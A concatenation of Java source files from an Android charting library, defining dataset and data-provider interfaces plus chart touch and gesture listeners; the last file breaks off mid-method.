``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IPieDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 339 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import android.graphics.DashPathEffect;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.LineDataSet;
import com.github.mikephil.charting.formatter.FillFormatter;
/**
* Created by Philpp Jahoda on 21/10/15.
*/
public interface ILineDataSet extends ILineRadarDataSet<Entry> {
/**
* Returns the drawing mode for this line dataset
*
* @return
*/
LineDataSet.Mode getMode();
/**
* Returns the intensity of the cubic lines (the effect intensity).
* Max = 1f = very cubic, Min = 0.05f = low cubic effect, Default: 0.2f
*
* @return
*/
float getCubicIntensity();
/**
* @deprecated Kept for backward compatibility.
* @return
*/
@Deprecated
boolean isDrawCubicEnabled();
/**
* @deprecated Kept for backward compatibility.
* @return
*/
@Deprecated
boolean isDrawSteppedEnabled();
/**
* Returns the size of the drawn circles.
*/
float getCircleRadius();
/**
* Returns the hole radius of the drawn circles.
*/
float getCircleHoleRadius();
/**
* Returns the color at the given index of the DataSet's circle-color array.
* Performs a IndexOutOfBounds check by modulus.
*
* @param index
* @return
*/
int getCircleColor(int index);
/**
* Returns true if drawing circles for this DataSet is enabled, false if not
*
* @return
*/
boolean isDrawCirclesEnabled();
/**
* Returns the color of the inner circle (the circle-hole).
*
* @return
*/
int getCircleHoleColor();
/**
* Returns true if drawing the circle-holes is enabled, false if not.
*
* @return
*/
boolean isDrawCircleHoleEnabled();
/**
* Returns the DashPathEffect that is used for drawing the lines.
*
* @return
*/
DashPathEffect getDashPathEffect();
/**
* Returns true if the dashed-line effect is enabled, false if not.
* If the DashPathEffect object is null, also return false here.
*
* @return
*/
boolean isDashedLineEnabled();
/**
* Returns the FillFormatter that is set for this DataSet.
*
* @return
*/
FillFormatter getFillFormatter();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/ILineDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 559 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import android.graphics.drawable.Drawable;
import com.github.mikephil.charting.data.Entry;
/**
* Created by Philipp Jahoda on 21/10/15.
*/
public interface ILineRadarDataSet<T extends Entry> extends ILineScatterCandleRadarDataSet<T> {
/**
* Returns the color that is used for filling the line surface area.
*
* @return
*/
int getFillColor();
/**
* Returns the drawable used for filling the area below the line.
*
* @return
*/
Drawable getFillDrawable();
/**
* Returns the alpha value that is used for filling the line surface,
* default: 85
*
* @return
*/
int getFillAlpha();
/**
* Returns the stroke-width of the drawn line
*
* @return
*/
float getLineWidth();
/**
* Returns true if filled drawing is enabled, false if not
*
* @return
*/
boolean isDrawFilledEnabled();
/**
* Set to true if the DataSet should be drawn filled (surface), and not just
* as a line, disabling this will give great performance boost. Please note that this method
* uses the canvas.clipPath(...) method for drawing the filled area.
* For devices with API level < 18 (Android 4.3), hardware acceleration of the chart should
* be turned off. Default: false
*
* @param enabled
*/
void setDrawFilled(boolean enabled);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/ILineRadarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 338 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.data.Entry;
/**
* Created by Philipp Jahoda on 03/11/15.
*/
public interface IRadarDataSet extends ILineRadarDataSet<Entry> {
/// flag indicating whether highlight circle should be drawn or not
boolean isDrawHighlightCircleEnabled();
/// Sets whether highlight circle should be drawn or not
void setDrawHighlightCircleEnabled(boolean enabled);
int getHighlightCircleFillColor();
/// The stroke color for highlight circle.
/// If Utils.COLOR_NONE, the color of the dataset is taken.
int getHighlightCircleStrokeColor();
int getHighlightCircleStrokeAlpha();
float getHighlightCircleInnerRadius();
float getHighlightCircleOuterRadius();
float getHighlightCircleStrokeWidth();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IRadarDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 168 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.charts.ScatterChart;
import com.github.mikephil.charting.data.Entry;
/**
* Created by philipp on 21/10/15.
*/
public interface IScatterDataSet extends ILineScatterCandleRadarDataSet<Entry> {
/**
* Returns the currently set scatter shape size
*
* @return
*/
float getScatterShapeSize();
/**
* Returns all the different scattershapes the chart uses
*
* @return
*/
ScatterChart.ScatterShape getScatterShape();
/**
* Returns radius of the hole in the shape
*
* @return
*/
float getScatterShapeHoleRadius();
/**
* Returns the color for the hole in the shape
*
* @return
*/
int getScatterShapeHoleColor();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IScatterDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 202 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import android.graphics.Paint;
import com.github.mikephil.charting.data.CandleEntry;
/**
* Created by philipp on 21/10/15.
*/
public interface ICandleDataSet extends ILineScatterCandleRadarDataSet<CandleEntry> {
/**
* Returns the space that is left out on the left and right side of each
* candle.
*
* @return
*/
float getBarSpace();
/**
* Returns whether the candle bars should show?
* When false, only "ticks" will show
*
* - default: true
*
* @return
*/
boolean getShowCandleBar();
/**
* Returns the width of the candle-shadow-line in pixels.
*
* @return
*/
float getShadowWidth();
/**
* Returns shadow color for all entries
*
* @return
*/
int getShadowColor();
/**
* Returns the neutral color (for open == close)
*
* @return
*/
int getNeutralColor();
/**
* Returns the increasing color (for open < close).
*
* @return
*/
int getIncreasingColor();
/**
* Returns the decreasing color (for open > close).
*
* @return
*/
int getDecreasingColor();
/**
* Returns paint style when open < close
*
* @return
*/
Paint.Style getIncreasingPaintStyle();
/**
* Returns paint style when open > close
*
* @return
*/
Paint.Style getDecreasingPaintStyle();
/**
* Is the shadow color same as the candle color?
*
* @return
*/
boolean getShadowColorSameAsCandle();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/ICandleDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 391 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.data.Entry;
/**
* Created by philipp on 21/10/15.
*/
public interface IBarLineScatterCandleBubbleDataSet<T extends Entry> extends IDataSet<T> {
/**
* Returns the color that is used for drawing the highlight indicators.
*
* @return
*/
int getHighLightColor();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IBarLineScatterCandleBubbleDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 92 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import com.github.mikephil.charting.data.BubbleEntry;
/**
* Created by philipp on 21/10/15.
*/
public interface IBubbleDataSet extends IBarLineScatterCandleBubbleDataSet<BubbleEntry> {
/**
* Sets the width of the circle that surrounds the bubble when highlighted,
* in dp.
*
* @param width
*/
void setHighlightCircleWidth(float width);
float getXMax();
float getXMin();
float getMaxSize();
boolean isNormalizeSizeEnabled();
/**
* Returns the width of the highlight-circle that surrounds the bubble
* @return
*/
float getHighlightCircleWidth();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IBubbleDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 154 |
```java
package com.github.mikephil.charting.interfaces.datasets;
import android.graphics.Typeface;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.data.DataSet;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.formatter.ValueFormatter;
import java.util.List;
/**
* Created by Philipp Jahoda on 21/10/15.
*/
public interface IDataSet<T extends Entry> {
/** ###### ###### DATA RELATED METHODS ###### ###### */
/**
* returns the minimum y-value this DataSet holds
*
* @return
*/
float getYMin();
/**
* returns the maximum y-value this DataSet holds
*
* @return
*/
float getYMax();
/**
* Returns the number of y-values this DataSet represents -> the size of the y-values array
* -> yvals.size()
*
* @return
*/
int getEntryCount();
/**
* Calculates the minimum and maximum y value (mYMin, mYMax). From the specified starting to ending index.
*
* @param start starting index in your data list
* @param end ending index in your data list
*/
void calcMinMax(int start, int end);
/**
* Returns the first Entry object found at the given xIndex with binary
* search. If the no Entry at the specified x-index is found, this method
* returns the index at the closest x-index. Returns null if no Entry object
* at that index. INFORMATION: This method does calculations at runtime. Do
* not over-use in performance critical situations.
*
* @param xIndex
* @param rounding determine to round up/down/closest if there is no Entry matching the provided x-index
* @return
*/
T getEntryForXIndex(int xIndex, DataSet.Rounding rounding);
/**
* Returns the first Entry object found at the given xIndex with binary
* search. If the no Entry at the specified x-index is found, this method
* returns the index at the closest x-index. Returns null if no Entry object
* at that index. INFORMATION: This method does calculations at runtime. Do
* not over-use in performance critical situations.
*
* @param xIndex
* @return
*/
T getEntryForXIndex(int xIndex);
/**
* Returns all Entry objects found at the given xIndex with binary
* search. An empty array if no Entry object at that index.
* INFORMATION: This method does calculations at runtime. Do
* not over-use in performance critical situations.
*
* @param xIndex
* @return
*/
List<T> getEntriesForXIndex(int xIndex);
/**
* Returns the Entry object found at the given index (NOT xIndex) in the values array.
*
* @param index
* @return
*/
T getEntryForIndex(int index);
/**
* Returns the first Entry index found at the given xIndex with binary
* search. If the no Entry at the specified x-index is found, this method
* returns the index at the closest x-index. Returns -1 if no Entry object
* at that index. INFORMATION: This method does calculations at runtime. Do
* not over-use in performance critical situations.
*
* @param xIndex
* @param rounding determine to round up/down/closest if there is no Entry matching the provided x-index
* @return
*/
int getEntryIndex(int xIndex, DataSet.Rounding rounding);
/**
* Returns the position of the provided entry in the DataSets Entry array.
* Returns -1 if doesn't exist.
*
* @param e
* @return
*/
int getEntryIndex(T e);
/**
* Returns the value of the Entry object at the given xIndex. Returns
* Float.NaN if no value is at the given x-index. INFORMATION: This method
* does calculations at runtime. Do not over-use in performance critical
* situations.
*
* @param xIndex
* @return
*/
float getYValForXIndex(int xIndex);
/**
* Returns all of the y values of the Entry objects at the given xIndex. Returns
* Float.NaN if no value is at the given x-index. INFORMATION: This method
* does calculations at runtime. Do not over-use in performance critical
* situations.
*
* @param xIndex
* @return
*/
float[] getYValsForXIndex(int xIndex);
/**
* This method returns the actual
* index in the Entry array of the DataSet for a given xIndex. IMPORTANT: This method does
* calculations at runtime, do not over-use in performance critical
* situations.
*
* @param xIndex
* @return
*/
int getIndexInEntries(int xIndex);
/**
* Adds an Entry to the DataSet dynamically.
* Entries are added to the end of the list.
* This will also recalculate the current minimum and maximum
* values of the DataSet and the value-sum.
*
* @param e
*/
boolean addEntry(T e);
/**
* Removes an Entry from the DataSets entries array. This will also
* recalculate the current minimum and maximum values of the DataSet and the
* value-sum. Returns true if an Entry was removed, false if no Entry could
* be removed.
*
* @param e
*/
boolean removeEntry(T e);
/**
* Adds an Entry to the DataSet dynamically.
* Entries are added to their appropriate index respective to it's x-index.
* This will also recalculate the current minimum and maximum
* values of the DataSet and the value-sum.
*
* @param e
*/
void addEntryOrdered(T e);
/**
* Removes the first Entry (at index 0) of this DataSet from the entries array.
* Returns true if successful, false if not.
*
* @return
*/
boolean removeFirst();
/**
* Removes the last Entry (at index size-1) of this DataSet from the entries array.
* Returns true if successful, false if not.
*
* @return
*/
boolean removeLast();
/**
* Removes the Entry object that has the given xIndex from the DataSet.
* Returns true if an Entry was removed, false if no Entry could be removed.
*
* @param xIndex
*/
boolean removeEntry(int xIndex);
/**
* Checks if this DataSet contains the specified Entry. Returns true if so,
* false if not. NOTE: Performance is pretty bad on this one, do not
* over-use in performance critical situations.
*
* @param entry
* @return
*/
boolean contains(T entry);
/**
* Removes all values from this DataSet and does all necessary recalculations.
*/
void clear();
/** ###### ###### STYLING RELATED (& OTHER) METHODS ###### ###### */
/**
* Returns the label string that describes the DataSet.
*
* @return
*/
String getLabel();
/**
* Sets the label string that describes the DataSet.
*
* @param label
*/
void setLabel(String label);
/**
* Returns the axis this DataSet should be plotted against.
*
* @return
*/
YAxis.AxisDependency getAxisDependency();
/**
* Set the y-axis this DataSet should be plotted against (either LEFT or
* RIGHT). Default: LEFT
*
* @param dependency
*/
void setAxisDependency(YAxis.AxisDependency dependency);
/**
* returns all the colors that are set for this DataSet
*
* @return
*/
List<Integer> getColors();
/**
* Returns the first color (index 0) of the colors-array this DataSet
* contains. This is only used for performance reasons when only one color is in the colors array (size == 1)
*
* @return
*/
int getColor();
/**
* Returns the color at the given index of the DataSet's color array.
* Performs a IndexOutOfBounds check by modulus.
*
* @param index
* @return
*/
int getColor(int index);
/**
* returns true if highlighting of values is enabled, false if not
*
* @return
*/
boolean isHighlightEnabled();
/**
* If set to true, value highlighting is enabled which means that values can
* be highlighted programmatically or by touch gesture.
*
* @param enabled
*/
void setHighlightEnabled(boolean enabled);
/**
* Sets the formatter to be used for drawing the values inside the chart. If
* no formatter is set, the chart will automatically determine a reasonable
* formatting (concerning decimals) for all the values that are drawn inside
* the chart. Use chart.getDefaultValueFormatter() to use the formatter
* calculated by the chart.
*
* @param f
*/
void setValueFormatter(ValueFormatter f);
/**
* Returns the formatter used for drawing the values inside the chart.
*
* @return
*/
ValueFormatter getValueFormatter();
/**
* Sets the color the value-labels of this DataSet should have.
*
* @param color
*/
void setValueTextColor(int color);
/**
* Sets a list of colors to be used as the colors for the drawn values.
*
* @param colors
*/
void setValueTextColors(List<Integer> colors);
/**
* Sets a Typeface for the value-labels of this DataSet.
*
* @param tf
*/
void setValueTypeface(Typeface tf);
/**
* Sets the text-size of the value-labels of this DataSet in dp.
*
* @param size
*/
void setValueTextSize(float size);
/**
* Returns only the first color of all colors that are set to be used for the values.
*
* @return
*/
int getValueTextColor();
/**
* Returns the color at the specified index that is used for drawing the values inside the chart.
* Uses modulus internally.
*
* @param index
* @return
*/
int getValueTextColor(int index);
/**
* Returns the typeface that is used for drawing the values inside the chart
*
* @return
*/
Typeface getValueTypeface();
/**
* Returns the text size that is used for drawing the values inside the chart
*
* @return
*/
float getValueTextSize();
/**
* set this to true to draw y-values on the chart NOTE (for bar and
* linechart): if "maxvisiblecount" is reached, no values will be drawn even
* if this is enabled
*
* @param enabled
*/
void setDrawValues(boolean enabled);
/**
* Returns true if y-value drawing is enabled, false if not
*
* @return
*/
boolean isDrawValuesEnabled();
/**
* Set the visibility of this DataSet. If not visible, the DataSet will not
* be drawn to the chart upon refreshing it.
*
* @param visible
*/
void setVisible(boolean visible);
/**
* Returns true if this DataSet is visible inside the chart, or false if it
* is currently hidden.
*
* @return
*/
boolean isVisible();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/datasets/IDataSet.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,524 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.data.BarData;
public interface BarDataProvider extends BarLineScatterCandleBubbleDataProvider {
BarData getBarData();
boolean isDrawBarShadowEnabled();
boolean isDrawValueAboveBarEnabled();
boolean isDrawHighlightArrowEnabled();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/BarDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 73 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.data.ScatterData;
public interface ScatterDataProvider extends BarLineScatterCandleBubbleDataProvider {
ScatterData getScatterData();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/ScatterDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 50 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.data.BarLineScatterCandleBubbleData;
import com.github.mikephil.charting.utils.Transformer;
public interface BarLineScatterCandleBubbleDataProvider extends ChartInterface {
Transformer getTransformer(AxisDependency axis);
int getMaxVisibleCount();
boolean isInverted(AxisDependency axis);
int getLowestVisibleXIndex();
int getHighestVisibleXIndex();
BarLineScatterCandleBubbleData getData();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/BarLineScatterCandleBubbleDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 126 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.data.LineData;
public interface LineDataProvider extends BarLineScatterCandleBubbleDataProvider {
LineData getLineData();
YAxis getAxis(YAxis.AxisDependency dependency);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/LineDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 71 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.data.BubbleData;
public interface BubbleDataProvider extends BarLineScatterCandleBubbleDataProvider {
BubbleData getBubbleData();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/BubbleDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 49 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import com.github.mikephil.charting.data.CandleData;
public interface CandleDataProvider extends BarLineScatterCandleBubbleDataProvider {
CandleData getCandleData();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/CandleDataProvider.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 49 |
```java
package com.github.mikephil.charting.interfaces.dataprovider;
import android.graphics.PointF;
import android.graphics.RectF;
import com.github.mikephil.charting.data.ChartData;
import com.github.mikephil.charting.formatter.ValueFormatter;
/**
* Interface that provides everything there is to know about the dimensions,
* bounds, and range of the chart.
*
* @author Philipp Jahoda
*/
public interface ChartInterface {
/**
* Returns the minimum x-value of the chart, regardless of zoom or translation.
*
* @return
*/
float getXChartMin();
/**
* Returns the maximum x-value of the chart, regardless of zoom or translation.
*
* @return
*/
float getXChartMax();
/**
* Returns the minimum y-value of the chart, regardless of zoom or translation.
*
* @return
*/
float getYChartMin();
/**
* Returns the maximum y-value of the chart, regardless of zoom or translation.
*
* @return
*/
float getYChartMax();
int getXValCount();
int getWidth();
int getHeight();
PointF getCenterOfView();
PointF getCenterOffsets();
RectF getContentRect();
ValueFormatter getDefaultValueFormatter();
ChartData getData();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/interfaces/dataprovider/ChartInterface.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 270 |
```java
package com.github.mikephil.charting.listener;
import com.github.mikephil.charting.data.DataSet;
import com.github.mikephil.charting.data.Entry;
/**
* Listener for callbacks when drawing on the chart.
*
* @author Philipp
*
*/
public interface OnDrawListener {
/**
* Called whenever an entry is added with the finger. Note this is also called for entries that are generated by the
* library, when the touch gesture is too fast and skips points.
*
* @param entry
* the last drawn entry
*/
void onEntryAdded(Entry entry);
/**
* Called whenever an entry is moved by the user after beeing highlighted
*
* @param entry
*/
void onEntryMoved(Entry entry);
/**
* Called when drawing finger is lifted and the draw is finished.
*
* @param dataSet
* the last drawn DataSet
*/
void onDrawFinished(DataSet<?> dataSet);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/OnDrawListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 212 |
```java
package com.github.mikephil.charting.listener;
import android.view.MotionEvent;
/**
* Listener for callbacks when doing gestures on the chart.
*
* @author Philipp Jahoda
*/
public interface OnChartGestureListener {
/**
* Callbacks when a touch-gesture has started on the chart (ACTION_DOWN)
*
* @param me
* @param lastPerformedGesture
*/
void onChartGestureStart(MotionEvent me, ChartTouchListener.ChartGesture lastPerformedGesture);
/**
* Callbacks when a touch-gesture has ended on the chart (ACTION_UP, ACTION_CANCEL)
*
* @param me
* @param lastPerformedGesture
*/
void onChartGestureEnd(MotionEvent me, ChartTouchListener.ChartGesture lastPerformedGesture);
/**
* Callbacks when the chart is longpressed.
*
* @param me
*/
void onChartLongPressed(MotionEvent me);
/**
* Callbacks when the chart is double-tapped.
*
* @param me
*/
void onChartDoubleTapped(MotionEvent me);
/**
* Callbacks when the chart is single-tapped.
*
* @param me
*/
void onChartSingleTapped(MotionEvent me);
/**
* Callbacks then a fling gesture is made on the chart.
*
* @param me1
* @param me2
* @param velocityX
* @param velocityY
*/
void onChartFling(MotionEvent me1, MotionEvent me2, float velocityX, float velocityY);
/**
* Callbacks when the chart is scaled / zoomed via pinch zoom gesture.
*
* @param me
* @param scaleX scalefactor on the x-axis
* @param scaleY scalefactor on the y-axis
*/
void onChartScale(MotionEvent me, float scaleX, float scaleY);
/**
* Callbacks when the chart is moved / translated via drag gesture.
*
* @param me
* @param dX translation distance on the x-axis
* @param dY translation distance on the y-axis
*/
void onChartTranslate(MotionEvent me, float dX, float dY);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/OnChartGestureListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 474 |
```java
package com.github.mikephil.charting.listener;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.highlight.Highlight;
/**
* Listener for callbacks when selecting values inside the chart by
* touch-gesture.
*
* @author Philipp Jahoda
*/
public interface OnChartValueSelectedListener {
/**
* Called when a value has been selected inside the chart.
*
* @param e The selected Entry.
* @param dataSetIndex The index in the datasets array of the data object
* the Entrys DataSet is in.
* @param h the corresponding highlight object that contains information
* about the highlighted position
*/
void onValueSelected(Entry e, int dataSetIndex, Highlight h);
/**
* Called when nothing has been selected or an "un-select" has been made.
*/
void onNothingSelected();
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/OnChartValueSelectedListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 191 |
```java
package com.github.mikephil.charting.listener;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.View;
import com.github.mikephil.charting.charts.Chart;
import com.github.mikephil.charting.highlight.Highlight;
/**
* Created by philipp on 12/06/15.
*/
public abstract class ChartTouchListener<T extends Chart<?>> extends GestureDetector.SimpleOnGestureListener implements View.OnTouchListener {
public enum ChartGesture {
NONE, DRAG, X_ZOOM, Y_ZOOM, PINCH_ZOOM, ROTATE, SINGLE_TAP, DOUBLE_TAP, LONG_PRESS, FLING
}
/**
* the last touch gesture that has been performed
**/
protected ChartGesture mLastGesture = ChartGesture.NONE;
// states
protected static final int NONE = 0;
protected static final int DRAG = 1;
protected static final int X_ZOOM = 2;
protected static final int Y_ZOOM = 3;
protected static final int PINCH_ZOOM = 4;
protected static final int POST_ZOOM = 5;
protected static final int ROTATE = 6;
protected static final int HIGH_TLIGHT = 7;
/**
* integer field that holds the current touch-state
*/
protected int mTouchMode = NONE;
/**
* the last highlighted object (via touch)
*/
protected Highlight mLastHighlighted;
/**
* the gesturedetector used for detecting taps and longpresses, ...
*/
protected GestureDetector mGestureDetector;
/**
* the chart the listener represents
*/
protected T mChart;
public ChartTouchListener(T chart) {
this.mChart = chart;
mGestureDetector = new GestureDetector(chart.getContext(), this);
}
/**
* Calls the OnChartGestureListener to do the start callback
*
* @param me
*/
public void startAction(MotionEvent me) {
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null)
l.onChartGestureStart(me, mLastGesture);
}
/**
* Calls the OnChartGestureListener to do the end callback
*
* @param me
*/
public void endAction(MotionEvent me) {
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null)
l.onChartGestureEnd(me, mLastGesture);
}
/**
* Sets the last value that was highlighted via touch.
*
* @param high
*/
public void setLastHighlighted(Highlight high) {
mLastHighlighted = high;
}
/**
* returns the touch mode the listener is currently in
*
* @return
*/
public int getTouchMode() {
return mTouchMode;
}
/**
* Returns the last gesture that has been performed on the chart.
*
* @return
*/
public ChartGesture getLastGesture() {
return mLastGesture;
}
/**
* Perform a highlight operation.
*
* @param e
*/
protected void performHighlight(Highlight h, MotionEvent e) {
if (h == null || h.equalTo(mLastHighlighted)) {
mChart.highlightValue(null, true);
mLastHighlighted = null;
} else {
mChart.highlightValue(h, true);
mLastHighlighted = h;
}
}
/**
* returns the distance between two points
*
* @param eventX
* @param startX
* @param eventY
* @param startY
* @return
*/
protected static float distance(float eventX, float startX, float eventY, float startY) {
float dx = eventX - startX;
float dy = eventY - startY;
return (float) Math.sqrt(dx * dx + dy * dy);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/listener/ChartTouchListener.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 833 |
```java
package com.github.mikephil.charting.listener;
import android.annotation.SuppressLint;
import android.graphics.PointF;
import android.view.MotionEvent;
import android.view.View;
import android.view.animation.AnimationUtils;
import com.github.mikephil.charting.charts.PieChart;
import com.github.mikephil.charting.charts.PieRadarChartBase;
import com.github.mikephil.charting.charts.RadarChart;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.utils.SelectionDetail;
import com.github.mikephil.charting.utils.Utils;
import java.util.ArrayList;
import java.util.List;
/**
* Touchlistener for the PieChart.
*
* @author Philipp Jahoda
*/
public class PieRadarChartTouchListener extends ChartTouchListener<PieRadarChartBase<?>> {
private PointF mTouchStartPoint = new PointF();
/**
* the angle where the dragging started
*/
private float mStartAngle = 0f;
private ArrayList<AngularVelocitySample> _velocitySamples = new ArrayList<>();
private long mDecelerationLastTime = 0;
private float mDecelerationAngularVelocity = 0.f;
public PieRadarChartTouchListener(PieRadarChartBase<?> chart) {
super(chart);
}
@SuppressLint("ClickableViewAccessibility")
@Override
public boolean onTouch(View v, MotionEvent event) {
if (mGestureDetector.onTouchEvent(event))
return true;
// if rotation by touch is enabled
if (mChart.isRotationEnabled()) {
float x = event.getX();
float y = event.getY();
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
startAction(event);
stopDeceleration();
resetVelocity();
if (mChart.isDragDecelerationEnabled())
sampleVelocity(x, y);
setGestureStartAngle(x, y);
mTouchStartPoint.x = x;
mTouchStartPoint.y = y;
break;
case MotionEvent.ACTION_MOVE:
if (mChart.isDragDecelerationEnabled())
sampleVelocity(x, y);
if (mTouchMode == NONE
&& distance(x, mTouchStartPoint.x, y, mTouchStartPoint.y)
> Utils.convertDpToPixel(8f)) {
mLastGesture = ChartGesture.ROTATE;
mTouchMode = ROTATE;
mChart.disableScroll();
} else if (mTouchMode == ROTATE) {
updateGestureRotation(x, y);
mChart.invalidate();
}
endAction(event);
break;
case MotionEvent.ACTION_UP:
if (mChart.isDragDecelerationEnabled()) {
stopDeceleration();
sampleVelocity(x, y);
mDecelerationAngularVelocity = calculateVelocity();
if (mDecelerationAngularVelocity != 0.f) {
mDecelerationLastTime = AnimationUtils.currentAnimationTimeMillis();
Utils.postInvalidateOnAnimation(mChart); // This causes computeScroll to fire, recommended for this by Google
}
}
mChart.enableScroll();
mTouchMode = NONE;
endAction(event);
break;
}
}
return true;
}
@Override
public void onLongPress(MotionEvent me) {
mLastGesture = ChartGesture.LONG_PRESS;
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartLongPressed(me);
}
}
@Override
public boolean onSingleTapConfirmed(MotionEvent e) {
return true;
}
@Override
public boolean onSingleTapUp(MotionEvent e) {
mLastGesture = ChartGesture.SINGLE_TAP;
OnChartGestureListener l = mChart.getOnChartGestureListener();
if (l != null) {
l.onChartSingleTapped(e);
}
if(!mChart.isHighlightPerTapEnabled()) {
return false;
}
float distance = mChart.distanceToCenter(e.getX(), e.getY());
// check if a slice was touched
if (distance > mChart.getRadius()) {
// if no slice was touched, highlight nothing
if (mLastHighlighted == null)
mChart.highlightValues(null); // no listener callback
else
mChart.highlightTouch(null); // listener callback
mLastHighlighted = null;
} else {
float angle = mChart.getAngleForPoint(e.getX(), e.getY());
if (mChart instanceof PieChart) {
angle /= mChart.getAnimator().getPhaseY();
}
int index = mChart.getIndexForAngle(angle);
// check if the index could be found
if (index < 0) {
mChart.highlightValues(null);
mLastHighlighted = null;
} else {
List<SelectionDetail> valsAtIndex = mChart.getSelectionDetailsAtIndex(index);
int dataSetIndex = 0;
// get the dataset that is closest to the selection (PieChart
// only
// has one DataSet)
if (mChart instanceof RadarChart) {
dataSetIndex = Utils.getClosestDataSetIndexByValue(
valsAtIndex,
distance / ((RadarChart) mChart).getFactor(),
null);
}
if (dataSetIndex < 0) {
mChart.highlightValues(null);
mLastHighlighted = null;
} else {
Highlight h = new Highlight(index, dataSetIndex);
performHighlight(h, e);
}
}
}
return true;
}
private void resetVelocity() {
_velocitySamples.clear();
}
private void sampleVelocity(float touchLocationX, float touchLocationY) {
long currentTime = AnimationUtils.currentAnimationTimeMillis();
